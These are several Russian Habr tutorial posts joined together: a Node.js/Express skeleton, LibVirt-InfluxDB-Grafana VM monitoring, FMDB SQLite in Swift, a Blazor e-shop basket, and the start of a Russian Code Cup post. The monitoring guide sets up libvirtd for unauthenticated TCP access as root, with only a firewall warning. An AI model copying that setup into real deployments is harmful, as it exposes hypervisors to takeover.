*Внимание: решение не претендует быть единственным правильным и вообще правильным. Просто решил поделиться. Срач на тему node.js vs erlang прошу не разводить, они в разных категориях.*
Для нетерпеливых есть проект на [гитхабе](https://github.com/andoriyu/mr-skel).
MR — Model Route, View я опускаю потому, что res.json это не view, а сервису большего и не надо.
Структура проекта:
````
├── app.coffee
├── config.coffee
├── models
│ └── example.coffee
├── package.json
├── public
│ ├── images
│ ├── javascripts
│ └── stylesheets
├── routes
│ ├── index.coffee
│ └── root.coffee
├── run-cluster.js
└── run.js
````
##### app.coffee
Это точка входа в приложение.
````
exports.start = () ->
log = require('logule') # Удобный логер
log.debug "Spawning new worker"
require 'coffee-script' # нужно для того, чтобы нода переваривала .coffee файлы в require
###
Basic dependencies
###
express = require 'express'
app = module.exports = express.createServer()
app.__ = require 'underscore' # на всякий случай
app.mongoose = require 'mongoose' # ODM для MongoDb, and yes, it's web scale
app.log = log # костыль
config = require('./config.coffee')(app,express) # конфигурация приложения
models = {} # Сюда складываются все модели
models.example= require('./models/example')(app.mongoose).model # Пример модели
require('./routes/index.coffee')(app, models) # Файл, в котором прописаны все маршруты
port = process.env.PORT || 5000 # Для Heroku и других схем деплоя
app.listen port
log.info "Express server listening on port #{port}"
````
##### config.coffee
````
module.exports = (app, express) ->
config = this
app.configure ->
app.use express.bodyParser()
app.use express.methodOverride()
app.use app.router
app.use express.static(__dirname + '/public')
app.configure 'development', () ->
app.use express.errorHandler({dumpExveption: true, showStack: true}) # "полезный" дамп стека
app.mongoose.connect process.env.MONGOLAB_URI || "mongodb://localhost/skel" # Для heroku
app.configure 'production', () ->
app.use express.errorHandler()
app.mongoose.connect "mongodb://localhost/production"
return config
````
##### models/example.coffee
````
module.exports = (mongoose) ->
Schema = mongoose.Schema
ObjectId = Schema.ObjectId
#Comment = mogoose.model('Comment') # пример того, как получить модель которая уже ассоциирована с mongoose.
PostSchema = new Schema {
author : { type:ObjectId, index:true }
date : Date,
content : String
#, comments : [Comment] # пример того как ее использовать
}
this.model = mongoose.model('Post', PostSchema) # ассоциирование
return this
````
##### package.json
engines секция это для Heroku, все остальное понятно.
````
{
"name": "mr-skel"
, "version": "0.0.1"
, "private": true
, "engines": {
"node": "0.6.x",
"npm": "1.x.x"
}
, "dependencies": {
"express": "2.5.x"
, "mongoose": "2.6.x"
, "mongoose-types": "*"
, "underscore": "*"
, "coffee-script": "*"
, "logule": "0.x.x"
},
"devDependencies": {
"forever": "*"
, "mocha": "*"
, "should": "*"
}
}
````
##### routes/index.coffee
В этом файле хранятся все роуты которые есть в приложении.
````
routes = {}
routes.root = require('./root.coffee')
module.exports = (app, models) ->
app.get '/', routes.root.getIndex(models) # Насамом деле это костыль, я не смог придумать как сделать models доступной для всех роутов из root.cofee
````
##### routes/root.coffee
````
exports.getIndex = (models) ->
(req, res) ->
Post = models.example
Post.find {}, (err, posts) ->
if err?
return res.send 500
res.json { status: 'Ba dum tssh', meta: posts }
````
##### run-cluster.js
Запуск приложения при помощи Cluster API. На Heroku не работает, но на своем vps я запускаю приложение именно так.
````
cluster = require('cluster');
log = require('logule');
require('coffee-script');
if (cluster.isMaster) {
log.info("Master have just started");
# i = кол-во ядер
for (i = 1; i <= 2; i++) {
cluster.fork();
}
cluster.on('death', function(worker) {
log.error("Worker " + worker.pid + " died!");
return cluster.fork();
});
} else {
app = require('./app.coffee');
app.start()
}
````
##### run.js
````
require('coffee-script');
app = require('./app.coffee');
app.start();
```` | https://habr.com/ru/post/143538/ | null | ru | null |
# Применение LibVirt API, InfluxDB и Grafana для сбора и визуализации статистики выполнения VM
В своей практике я достаточно много времени посвящаю проектированию и администрированию облачных инфраструктур различного назначения. В основном это Apache CloudStack. Данная система обладает отличными возможностями, но в части мониторинга, функциональности явно недостаточно (читайте — отсутствует), особенно, если на мониторинг смотреть шире чем мониторинг индивидуального объекта наблюдения (сервер, виртуальная машина).
В целом, в связи с более широкими требованиями к систем визуального анализа информации и потребностями в части интеграции с источниками данных стали распространяться специализированные решения для ad-hoc анализа данных, такие как Kibana, Grafana и иные. Данные системы могут интегрироваться со специализированными хранилищами временных рядов данных, одним из которых является [InfluxDB](https://www.influxdata.com/). Статья расскажет о готовом решении, распространяемом в виде образа Docker, использующем LibVirt API, Grafana и InfluxDB, предназначенном для сбора и анализа параметров исполняющихся VM для гипервизора KVM.
Обзор решения
-------------
Решение представлено в форме Docker-контейнера, распространяемого по лицензии Apache License v2, поэтому оно может без ограничений применяться в любых организациях и изменяться, отражая потребности конкретной задачи. Контейнер размещается на выделенном сервере, python-утилита сбора данных удаленно подключается по протоколу TCP к LibVirt и отправляет данные в InfluxDB, откуда они могут быть запрошены с помощью Grafana для визуализации и анализа.
Контейнер доступен в виде исходных кодов на [GitHub](https://github.com/bwsw/cs-pulse-sensor) и в виде доступного для установки образа на [DockerHub](https://hub.docker.com/r/bwsw/cs-pulse-sensor/). Язык реализации — python.
### Почему Docker-контейнер
Данное решение является конечным и удобным для внедрения, а так же не требует каких-либо дополнительных настроек и установки дополнительного ПО на серверах виртуализации, кроме разрешения доступа к API LibVirt по сети. Если доступ к API LibVirt снаружи не представляется возможным, то возможно установить Docker на хосте виртуализации и запускать контейнер локально.
> В рамках решений, которые я применяю в своей практике, всегда существует защищенная сеть, доступ к которой ограничен для неавторизованных пользователей, соответственно, я не ограничиваю доступ к LibVirt паролем, и представленный контейнер не поддерживает аутентификацию. В том случае, если такая функция требуется, ее можно достаточно просто добавить.
### Какие данные собираются
Сенсор собирает следующие данные о виртуальных машинах, доступные через LibVirt:
CPU:
```
{
"fields": {
"cpuTime": 1070.75,
"cpus": 4
},
"measurement": "cpuTime",
"tags": {
"vmHost": "qemu+tcp://root@10.252.1.33:16509/system",
"vmId": "i-376-1733-VM",
"vmUuid": "12805898-0fda-4fa6-9f18-fac64f673679"
}
}
```
RAM:
```
{
"fields": {
"maxmem": 4194304,
"mem": 4194304,
"rss": 1443428
},
"measurement": "rss",
"tags": {
"vmHost": "qemu+tcp://root@10.252.1.33:16509/system",
"vmId": "i-376-1733-VM",
"vmUuid": "12805898-0fda-4fa6-9f18-fac64f673679"
}
}
```
Статистика по каждому сетевому адаптеру с привязкой к MAC-адресу:
```
{
"fields": {
"readBytes": 111991494,
"readDrops": 0,
"readErrors": 0,
"readPackets": 1453303,
"writeBytes": 3067403974,
"writeDrops": 0,
"writeErrors": 0,
"writePackets": 588124
},
"measurement": "networkInterface",
"tags": {
"mac": "06:f2:64:00:01:54",
"vmHost": "qemu+tcp://root@10.252.1.33:16509/system",
"vmId": "i-376-1733-VM",
"vmUuid": "12805898-0fda-4fa6-9f18-fac64f673679"
}
}
```
Статистика по каждому диску:
```
{
"fields": {
"allocatedSpace": 890,
"ioErrors": -1,
"onDiskSpace": 890,
"readBytes": 264512607744,
"readIOPS": 16538654,
"totalSpace": 1000,
"writeBytes": 930057794560,
"writeIOPS": 30476842
},
"measurement": "disk",
"tags": {
"image": "cc8121ef-2029-4f4f-826e-7c4f2c8a5563",
"pool": "b13cb3c0-c84d-334c-9fc3-4826ae58d984",
"vmHost": "qemu+tcp://root@10.252.1.33:16509/system",
"vmId": "i-376-1733-VM",
"vmUuid": "12805898-0fda-4fa6-9f18-fac64f673679"
}
}
```
Общая статистика по хосту виртуализации, как ее "видит" LibVirt:
```
{
"fields": {
"freeMem": 80558,
"idle": 120492574,
"iowait": 39380,
"kernel": 1198652,
"totalMem": 128850,
"user": 6416940
},
"measurement": "nodeInfo",
"tags": {
"vmHost": "qemu+tcp://root@10.252.1.33:16509/system"
}
}
```
Настройка LibVirt
-----------------
В конфигурационном файле `/etc/libvirt/libvirtd.conf` необходимо установить:
```
listen_tls = 0
listen_tcp = 1
tcp_port = "16509"
auth_tcp = "none"
mdns_adv = 0
```
> **Внимание**! Вышеуказанные настройки позволят соединяться с API LibVirt по TCP, настройте корректно файрвол для ограничения доступа.
После выполнения данных настроек LibVirt необходимо перезапустить.
```
sudo service libvirt-bin restart
```
InfluxDB
--------
### Установка (для Ubuntu)
Установка InfluxDB осуществляется по [документации](https://docs.influxdata.com/influxdb/v0.9/introduction/installation/#ubuntu-debian), например, для Ubuntu:
```
curl -sL https://repos.influxdata.com/influxdb.key | sudo apt-key add -
source /etc/lsb-release
echo "deb https://repos.influxdata.com/${DISTRIB_ID,,} ${DISTRIB_CODENAME} stable" | sudo tee /etc/apt/sources.list.d/influxdb.list
sudo apt-get update && sudo apt-get install influxdb
sudo service influxdb start
```
### Настройка аутентификации
Выполним команду influx для открытия сессии к СУБД:
```
$ influx
```
Создадим администратора (он нам понадобится когда мы активируем аутентификацию):
```
CREATE USER admin WITH PASSWORD '' WITH ALL PRIVILEGES
```
Создадим базу данных pulsedb и обычного пользователя pulse с доступом к этой базе данных:
```
CREATE DATABASE pulsedb
CREATE USER pulse WITH PASSWORD ''
GRANT ALL ON pulsedb TO pulse
```
Активируем [аутентификацию](https://docs.influxdata.com/influxdb/v0.9/administration/authentication_and_authorization/#set-up-authentication) в конфигурационном файле /etc/influxdb/influxdb.conf:
```
auth-enabled = true
```
Перезапустим InfluxDB:
```
service influxdb restart
```
Если все сделано правильно, теперь при открытии сессии необходимо указывать имя пользователя и пароль:
```
influx -username pulse -password secret
```
Запуск контейнера для начала сбора данных
-----------------------------------------
```
docker pull bwsw/cs-pulse-sensor
docker run --restart=always -d --name 10.252.1.11 \
-e PAUSE=10 \
-e INFLUX_HOST=influx \
-e INFLUX_PORT=8086 \
-e INFLUX_DB=pulsedb \
-e INFLUX_USER=pulse \
-e INFLUX_PASSWORD=secret \
-e GATHER_HOST_STATS=true
-e DEBUG=true \
-e KVM_HOST=qemu+tcp://root@10.252.1.11:16509/system \
bwsw/cs-pulse-sensor
```
Большинство параметров самоочевидны, поясню лишь два:
1. PAUSE — интервал между запросом значений в секундах;
2. GATHER\_HOST\_STATS — определяет собирать или нет дополнительно статистику по хосту;
После этого в журнале контейнера с помощью команды docker logs должна отражаться активность и не должны отражаться ошибки.
Если открыть сессию к InfluxDB, то в консоли можно выполнить команду и убедиться в наличии данных измерений:
```
influx -database pulsedb -username admin -password secret
```
```
> select * from cpuTime limit 1
name: cpuTime
time cpuTime cpus vmHost vmId vmUuid
---- ------- ---- ------ ---- ------
1498262401173035067 1614.06 4 qemu+tcp://root@10.252.1.30:16509/system i-332-2954-VM 9c002f94-8d24-437e-8af3-a041523b916a
```
На этом основная часть статьи завершается, далее посмотрим каким образом с помощью Grafana можно работать с сохраняемыми временными рядами.
Установка и настройка Grafana (Ubuntu)
--------------------------------------
Устанавливаем, как описано в [документации](http://docs.grafana.org/installation/debian/)
```
wget https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_4.4.1_amd64.deb
sudo apt-get install -y adduser libfontconfig
sudo dpkg -i grafana_4.4.1_amd64.deb
sudo service grafana-server start
sudo update-rc.d grafana-server defaults
```
Запускаем web-браузер и открываем административный интерфейс Grafana <http://influx.host.com:3000/>.
### Добавление источника данных в Grafana
Детальная [инструкция](http://docs.grafana.org/features/datasources/influxdb/) по добавлению источника данных на сайте проекта. В нашем же случае добавляемый источник данных может выглядеть следующим образом:
После сохранения источника данных, можно создать "дэшборды" и попробовать создавать запросы для графиков (поскольку данная инструкция не о том, как пользоваться Grafana, то привожу лишь выражения для запросов):
Загрузка CPU (минутки):
```
select NON_NEGATIVE_DERIVATIVE(MAX("cpuTime"), 1m) / LAST("cpus") / 60 * 100 from "cpuTime" where "vmUuid" = '6da0cdc9-d8ff-4b43-802c-0be01c6e0099' and $timeFilter group by time(1m)
```
Загрузка CPU (пятиминутки):
```
select NON_NEGATIVE_DERIVATIVE(MAX("cpuTime"), 5m) / LAST("cpus") / 300 * 100 from "cpuTime" where "vmUuid" = '6da0cdc9-d8ff-4b43-802c-0be01c6e0099' and $timeFilter group by time(5m)
```
Загрузка CPU (все VM):
```
select NON_NEGATIVE_DERIVATIVE(MAX("cpuTime"),1m) / LAST("cpus") / 60 * 100 as CPU from "cpuTime" WHERE $timeFilter group by time(1m), vmUuid
```
Память VM (пятиминутная агрегация):
```
SELECT MAX("rss") FROM "rss" WHERE "vmUuid" = '6da0cdc9-d8ff-4b43-802c-0be01c6e0099' and $timeFilter GROUP BY time(5m) fill(null)
```
Статистика ReadBytes, WriteBytes для диска (пятиминутная агрегация):
```
select NON_NEGATIVE_DERIVATIVE(MAX("readBytes"),5m) / 300 from "disk" where "image" = '999a1942-3e14-4d04-8123-391494a28198' and $timeFilter group by time(5m)
select NON_NEGATIVE_DERIVATIVE(MAX("writeBytes"),5m) / 300 from "disk" where "image" = '999a1942-3e14-4d04-8123-391494a28198' and $timeFilter group by time(5m)
```
Статистика ReadBits, WriteBits для NIC (пятиминутная агрегация):
```
select NON_NEGATIVE_DERIVATIVE(MAX("readBytes"), 5m) / 300 * 8 from "networkInterface" where "mac" = '06:07:70:00:01:10' and $timeFilter group by time(5m)
select NON_NEGATIVE_DERIVATIVE(MAX("writeBytes"), 5m) / 300 * 8 from "networkInterface" where "mac" ='06:07:70:00:01:10' and $timeFilter group by time(5m)
```
Вся мощь языка запросов InfluxDB к вашим услугам, и Вы можете строить такие дэшборды, которые отвечают Вашим потребностям и позволяют производить наглядный анализ данных. Например, один из самых полезных для меня кейсов — это разбор инцидентов, бывает, что клиент жалуется на то, что "ваш код \*\*\*\*о" © и говорит, что его VM чудесно работала, а потом раз и все. Строим выражение, смотрим на картинку, видим как CPU его VM в течение часа уходил в пике и таки ушел. Скриншот — отличный аргумент при решении конфликта.
Еще можно анализировать самых интенсивно использующих различные ресурсы VM, чтобы мигрировать их на отдельные хосты. Да все, что угодно. В этом смысле Grafana, Kibana и подобные системы выгодно отличаются от традиционных систем мониторинга (например, Zabbix) тем, что позволяют делать анализ по требованию и строить комплексные аналитические наборы, а InfluxDB помогает обеспечить высокую производительность анализа даже на большом наборе данных.
Заключение
----------
Код, получающий данные из LibVirt тестировался с VM, которые используют тома в QCOW2 формате. Я постарался учесть варианты LVM2 и RBD, но не тестировал. Если у кого-то получится протестировать код на других вариантах томов VM и прислать исправления для кода, буду признателен.
PS: При мониторинге сетевого трафика VM Вы можете обнаружить, что данные по PPS значительно меньше тех, которые Вы получаете посредством Sflow/Netflow на маршрутизаторе или tcpdump в VM. Это известное свойство KVM, сетевая подсистема которого не придерживается стандартного MTU в 1500 байт.
PPS: Документация по API LibVirt для python ужасна и мне пришлось продираться через разные версии, чтобы все же выяснить в каком виде возвращаются данные и что они означают.
PPS2: Если что, как говорят на Газорпазорпе, "Я рядом, если надо поговорить" © | https://habr.com/ru/post/332652/ | null | ru | null |
# Подключение SQLite к мобильному приложению iOS через FMDB на Xcode используя Swift
Столкнувшись с задачей подключить SQLLite к своему мобильному приложению iOS через FMDB, я не нашел ни одного актуального гайда на русском языке. И тем более для Swift. В этой статье я постараюсь этого исправить.
В этом гайде будут использоваться файлы с objective-c, поэтому не надо ждать порта FMDB на Swift.
Скачать FMDB можно [тут](https://github.com/ccgus/fmdb).
В FMDB три main class:
FMDatabase — представляет данных SQLite. Используется для выполнения SQL-операторов.
FMResultSet — представляет результаты выполнения запроса по FMDatabase.
FMDatabaseQueue — если вы хотите, чтобы выполнялись запросы и обновления на несколько потоков, можно использовать этот класс. Пример в 8 пункте.
Прежде чем вы сможете взаимодействовать с базой данных, она должен быть открыта. Открытие завершиться с ошибкой, если нет достаточных ресурсов или разрешения на открытие и/или создания базы данных.
```
if (![db open]) {
[db release];
return;
}
```
**Шаги:**
**1)** Добавьте 'libsqlite3' стандартную библиотеку в настройках проекта и скопируйте FMDB файлы в ваш проект. (да, они на objective-c).
**2)** Создайте новый файл, который будет называться «FMDB-Bridging-Header.h». Внутри «Bridging-Header.h» напишите следующее: #import «FMDB.h».
**3)** Зайдите в Build Settings -> Swift Compiler — Code Generation и добавьте к 'Objective-C Bridging Header': FMDB-Bridging-Header.h.
Если файл в папке вашего проекта, то так: ИМЯ\_ПАПКИ/FMDB-Bridging-Header.h
**4)** Скопируйте в Ваш проект SQLite database. В этом гайде я буду использовать название 'tempdb.sqlite' всего лишь с одной таблицей внутри:
CREATE TABLE test\_tb ( test\_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, keywordtext TEXT)
**5)** В вашем AppDelegate.swift's class AppDelegate добавьте следующие переменные: var dbFilePath: NSString = NSString()
Пример:
```
import UIKit
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow?
var navi: UINavigationController?
var dbFilePath: NSString = NSString()
func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: NSDictionary?) -> Bool {
....
```
**6)** Добавьте этот метод в AppDelegate.swift's class AppDelegate:
```
// MARK: - FMDB
let DATABASE_RESOURCE_NAME = "tempdb"
let DATABASE_RESOURCE_TYPE = "sqlite"
let DATABASE_FILE_NAME = "tempdb.sqlite"
func initializeDb() -> Bool {
let documentFolderPath = NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0] as String
let dbfile = "/" + DATABASE_FILE_NAME;
self.dbFilePath = documentFolderPath.stringByAppendingString(dbfile)
let filemanager = NSFileManager.defaultManager()
if (!filemanager.fileExistsAtPath(dbFilePath) ) {
let backupDbPath = NSBundle.mainBundle().pathForResource(DATABASE_RESOURCE_NAME, ofType: DATABASE_RESOURCE_TYPE)
if (backupDbPath == nil) {
return false
} else {
var error: NSError?
let copySuccessful = filemanager.copyItemAtPath(backupDbPath, toPath:dbFilePath, error: &error)
if !copySuccessful {
println("copy failed: \(error?.localizedDescription)")
return false
}
}
}
return true
}
```
**7)** Вызовите в AppDelegate.swift's func application:
```
func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: NSDictionary?) -> Bool {
if self.initializeDb() {
NSLog("Successful db copy")
}
```
**8)** В этом примере мы работаем с данными UITableViewController) используя FMDB:
```
import UIKit
class SecondViewController: UIViewController {
// MARK: - .H
@IBOutlet var dataTable: UITableView?
var dataArray:[MultiField] = []
// MARK: - .M
required init(coder: NSCoder) {
fatalError("NSCoding not supported")
}
override init(nibName nibNameOrNil: String?, bundle nibBundleOrNil: NSBundle?) {
super.init(nibName: nibNameOrNil, bundle: nibBundleOrNil)
// Custom initialization
}
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
self.title = "FMDB Using Swift"
let mainDelegate: AppDelegate = UIApplication.sharedApplication().delegate as AppDelegate
// initialize FMDB
let db: FMDatabase = FMDatabase(path:mainDelegate.dbFilePath)
if (db.open() == nil) {
NSLog("error opening db")
}
// вставка данных
let addQuery = "INSERT INTO test_tb (name, keywordtext) VALUES ('excalibur', 'hot')"
let addSuccessful = db.executeUpdate(addQuery, withArgumentsInArray: nil)
if !addSuccessful {
println("insert failed: \(db.lastErrorMessage())")
}
// вставка данных - конец
// update данных
let updateQuery = "UPDATE test_tb SET keywordtext = 'cool' WHERE name = 'excalibur' "
let updateSuccessful = db.executeUpdate(updateQuery, withArgumentsInArray: nil)
if !updateSuccessful {
println("update failed: \(db.lastErrorMessage())")
}
// update данных - конец
// Получение данных из нашей базы и сохранение их в массив UITableView
let mainQuery = "SELECT name, keywordtext FROM test_tb"
let rsMain: FMResultSet? = db.executeQuery(mainQuery, withArgumentsInArray: [])
while (rsMain!.next() == true) {
let productName = rsMain?.stringForColumn("name")
let keywords = rsMain?.stringForColumn("keywordtext")
let multiField = MultiField(aField1: productName!, aField2: keywords!)
self.dataArray.append(multiField)
}
// получение данных - конец
// удаление данных
let delQuery = "DELETE FROM test_tb WHERE name = 'excalibur' "
let deleteSuccessful = db.executeUpdate(delQuery, withArgumentsInArray: nil)
if !deleteSuccessful {
println("delete failed: \(db.lastErrorMessage())")
}
// удаление данных - конец
// пример: получение номер строк
let rsTemp: FMResultSet? = db.executeQuery("SELECT count(*) AS numrows FROM test_tb", withArgumentsInArray: [])
rsTemp!.next()
let numrows = rsTemp?.intForColumn("numrows")
NSLog("numrows: \(numrows)")
//пример: получение номер строки - конец
db.close()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
// MARK: - TableView DataSource
func numberOfSectionsInTableView(tableView: UITableView!) -> Int {
return 1
}
func tableView(tableView: UITableView!, numberOfRowsInSection section: Int) -> Int {
return self.dataArray.count
}
func tableView(tableView: UITableView!, cellForRowAtIndexPath indexPath: NSIndexPath!) -> UITableViewCell! {
let cell: UITableViewCell = UITableViewCell(style: UITableViewCellStyle.Subtitle, reuseIdentifier: "FMDBTest")
let multiField: MultiField = self.dataArray[indexPath.row]
let num = indexPath.row + 1
cell.textLabel.text = "\(num). \(multiField.field1!)"
cell.detailTextLabel.text = multiField.field2
return cell
}
// MARK: - UITableViewDelegate
func tableView(tableView: UITableView!, didSelectRowAtIndexPath indexPath: NSIndexPath!) {
tableView.deselectRowAtIndexPath(indexPath, animated: true)
}
}
```
**9)** Немного разных фишек, использование мультипотока FMDB через FMDatabaseQueue.
```
var queue: FMDatabaseQueue?
func testDatabaseQueue() {
let documentsFolder = NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)[0] as String
let databasePath = documentsFolder.stringByAppendingPathComponent("test.sqlite")
queue = FMDatabaseQueue(path: databasePath)
// создание таблицы
queue?.inDatabase() {
db in
var success = db.executeUpdate("create table test (id integer primary key autoincrement, a text)", withArgumentsInArray:nil)
if !success {
println("table create failure: \(db.lastErrorMessage())")
return
}
}
```
// вставка пяти строк
```
queue?.inTransaction() {
db, rollback in
for i in 0 ..< 5 {
if !db.executeUpdate("insert into test (a) values (?)", withArgumentsInArray: ["Row \(i)"]) {
println("insert \(i) failure: \(db.lastErrorMessage())")
rollback.initialize(true)
return
}
}
}
```
//давайте попробуем вставить строки, но сознательно ошибемся и посмотрим, что он откатывает правильно
```
queue?.inTransaction() {
db, rollback in
for i in 5 ..< 10 {
let success = db.executeUpdate("insert into test (a) values (?)", withArgumentsInArray: ["Row \(i)"])
if !success {
println("insert \(i) failure: \(db.lastErrorMessage())")
rollback.initialize(true)
return
}
if (i == 7) {
rollback.initialize(true)
}
}
}
```
// проверим, что только первые пять строк там
```
queue?.inDatabase() {
db in
if let rs = db.executeQuery("select * from test", withArgumentsInArray:nil) {
while rs.next() {
println(rs.resultDictionary())
}
} else {
println("select failure: \(db.lastErrorMessage())")
}
}
```
// удаляем таблицу
```
queue?.inDatabase() {
db in
let success = db.executeUpdate("drop table test", withArgumentsInArray:nil)
if !success {
println("table drop failure: \(db.lastErrorMessage())")
return
}
}
}
```
**10)** Стандартного на закуску. Использование класса executeUpdate(values:) в Swift2:
```
do {
let identifier = 42
let name = "Liam O'Flaherty (\"the famous Irish author\")"
let date = NSDate()
let comment: String? = nil
try db.executeUpdate("INSERT INTO authors (identifier, name, date, comment) VALUES (?, ?, ?, ?)", values: [identifier, name, date, comment ?? NSNull()])
} catch {
print("error = \(error)")
}
```
Использование queue:
```
queue.inTransaction { db, rollback in
do {
try db.executeUpdate("INSERT INTO myTable VALUES (?)", values: [1])
try db.executeUpdate("INSERT INTO myTable VALUES (?)", values: [2])
try db.executeUpdate("INSERT INTO myTable VALUES (?)", values: [3])
if whoopsSomethingWrongHappened {
rollback.memory = true
return
}
try db.executeUpdate("INSERT INTO myTable VALUES (?)", values: [4])
} catch {
rollback.memory = true
print(error)
}
}
```
Пример из стандартного описания:
```
let documents = try! NSFileManager.defaultManager().URLForDirectory(.DocumentDirectory, inDomain: .UserDomainMask, appropriateForURL: nil, create: false)
let fileURL = documents.URLByAppendingPathComponent("test.sqlite")
let database = FMDatabase(path: fileURL.path)
if !database.open() {
print("Unable to open database")
return
}
do {
try database.executeUpdate("create table test(x text, y text, z text)", values: nil)
try database.executeUpdate("insert into test (x, y, z) values (?, ?, ?)", values: ["a", "b", "c"])
try database.executeUpdate("insert into test (x, y, z) values (?, ?, ?)", values: ["e", "f", "g"])
let rs = try database.executeQuery("select x, y, z from test", values: nil)
while rs.next() {
let x = rs.stringForColumn("x")
let y = rs.stringForColumn("y")
let z = rs.stringForColumn("z")
print("x = \(x); y = \(y); z = \(z)")
}
} catch let error as NSError {
print("failed: \(error.localizedDescription)")
}
database.close()
```
Если что-то не получается, пишете, постараюсь помочь. | https://habr.com/ru/post/277423/ | null | ru | null |
# Blazor Client Side Интернет Магазин: Часть 5 — Просмотр корзины и работа с Stateful
Привет, Хабр! Продолжаю делать интернет магазин на Blazor. В этой части расскажу о том как добавил в него возможность просмотра корзины товаров и организовал работу с состоянием. За подробностями добро пожаловать под кат.
Содержание
----------
* [Blazor + MVVM = Silverlight наносит ответный удар, потому что древнее зло непобедимо](https://habr.com/ru/post/463197/)
* [Blazor Client Side Интернет Магазин: Часть 1 — Авторизация oidc (oauth2) + Identity Server4](https://habr.com/ru/post/484596/)
* [Blazor Client Side Интернет Магазин: Часть 2 — CI/CD](https://habr.com/ru/post/484782/)
* [Blazor Client Side Интернет Магазин: Часть 3 — Витрина товаров](https://habr.com/ru/post/494612/)
* [Blazor Client Side Интернет Магазин: Часть 4 — Добавления товара в корзину](https://habr.com/ru/post/495418/)
* Blazor Client Side Интернет Магазин: Часть 5 — Просмотр корзины и работа с Stateful
Ссылки
------
→ [Исходники](https://gitlab.com/VictorWinbringer/blazoreshop)
→ [Образы на Docker Registry](https://hub.docker.com/u/victorcallidus)
Stateful
--------
Мне не понравилось что при переходе между страницами теряется состояние. Например те поля по которым я отфильтровал товары. Чтобы решить эту проблему я перешел к stateful сервисам-синглтонам и зарегистрировал ViewModel страницы в DI контейнере как синглтон. По сути я использовал DI контейнер как хранилище состояния, а ViewModel начал инжектить в View как сервис.
Код
---
### 1) Models
```
public sealed class ProductModel
{
public Guid Id { get; set; }
public string Version { get; set; }
public string Title { get; set; }
public decimal Price { get; set; }
}
```
```
public class BasketLineModel
{
public uint Quantity { get; set; }
public ProductModel Product { get; set; }
}
```
```
public class BasketModel
{
public List Lines { get; set; } = new List();
}
```
### 2) Services
```
public class BasketService : IBasketService
{
private readonly IApiRepository _repository;
private BasketModel _basket;
public BasketService(IApiRepository repository)
{
_repository = repository;
_basket = new BasketModel();
}
public string Error { get; private set; }
public IReadOnlyList Model => \_basket.Lines.AsReadOnly();
public event EventHandler OnBasketItemsCountChanged;
public long ItemsCount => \_basket?.Lines?.Sum(l => l.Quantity) ?? 0;
public async Task Load()
{
var count = ItemsCount;
var (r, e) = await \_repository.GetBasket();
\_basket = r;
Error = e;
if (string.IsNullOrWhiteSpace(Error) && count != ItemsCount)
OnBasketItemsCountChanged?.Invoke(null, null);
}
public async Task Add(ProductModel product)
{
var (\_, e) = await \_repository.AddToBasket(product);
Error = e;
if (!string.IsNullOrWhiteSpace(e))
return;
await Load();
}
public async Task Remove(ProductModel product)
{
var (\_, e) = await \_repository.Remove(product.Id);
Error = e;
if (!string.IsNullOrWhiteSpace(e))
return;
await Load();
}
}
```
Тут надо рассказать про
```
public event EventHandler OnBasketItemsCountChanged;
```
Я хотел в заголовке страницы отображать текущее количество товаров в корзине. Проблема в том что заголовок не является дочерним элементом по отношению к странице корзины покупок поэтому обновлении ее стояния он игнорирует. Чтобы он перерисовывался я и добавил это событие, а в нем повесил вот такой обработчик:
```
@using BlazorEShop.Spa.BlazorWasm.Client.Core.Services
@using Microsoft.AspNetCore.Components.Authorization
@using Microsoft.AspNetCore.Components.WebAssembly.Authentication
@inject NavigationManager Navigation
@inject SignOutSessionStateManager SignOutManager
@inject IBasketService Basket
@implements IDisposable
Total Items In Basket: @TotalItemsCount
Hello, @context?.User?.Identity?.Name!
Log out
[Log in](authentication/login)
@code
{
public long TotalItemsCount { get; set; }
protected override void OnInitialized()
{
Basket.OnBasketItemsCountChanged += Bind;
TotalItemsCount = Basket.ItemsCount;
base.OnInitialized();
}
public void Dispose()
{
Basket.OnBasketItemsCountChanged -= Bind;
}
public void Bind(object s, EventArgs e)
{
if (TotalItemsCount == Basket.ItemsCount)
return;
TotalItemsCount = Basket.ItemsCount;
this.StateHasChanged();
}
private async Task BeginSignOut(MouseEventArgs args)
{
await SignOutManager.SetSignOutState();
Navigation.NavigateTo("authentication/logout");
}
}
```
### 3) ViewModel
```
public class BasketViewModel
{
private bool _isInitialized;
private readonly IBasketService _service;
public BasketViewModel(IBasketService service)
{
_service = service;
}
public string Error => _service.Error;
public IReadOnlyList Model => \_service.Model;
public async Task OnInitializedAsync()
{
if (\_isInitialized)
return;
Console.WriteLine("BASKET INIT!");
await \_service.Load();
\_isInitialized = true;
}
public Task Add(ProductModel product) => \_service.Add(product);
public Task Remove(ProductModel product) => \_service.Remove(product);
}
```
### 4) View
```
@page "/basket"
@attribute [Authorize]
@inject BasketViewModel ViewModel
### Basket
| Title | Price | Quantity | |
| --- | --- | --- | --- |
@if (ViewModel.Model == null)
{
| *Loading...* |
}
else
{
foreach (var line in ViewModel.Model)
{
| @line.Product.Title | @line.Product.Price | @line.Quantity |
|
}
}
@code
{
protected override async Task OnInitializedAsync()
{
await ViewModel.OnInitializedAsync();
}
}
```
### 5) Регистрация в DI контейнере
```
services.AddTransient();
services.AddSingleton();
services.AddSingleton();
```
Вариант на Angular 9
--------------------
Пока что разработка на Blazor мне больше удовольствия приносит чем Ангуляр.
 | https://habr.com/ru/post/495812/ | null | ru | null |
# Two languages, one Cup. Размышления о правилах RCC 2016
Здравствуй, Хабр! Вот небольшой пост о проходящем **Russian Code Cup 2016**, а точнее, мои соображения, на которые меня натолкнула одна из задач разогревочного раунда.
Технические правила проведения раунда подробно описаны [здесь](http://www.russiancodecup.ru/ru/rules/#anc103). Не буду их все копипастить, выделю только два момента:
* Присылать решения можно на разных языках (Java, Python, C/C++/C++11, C#, Perl, PHP, Ruby, D)
* Все задачи имеют лимит по времени исполнения решений
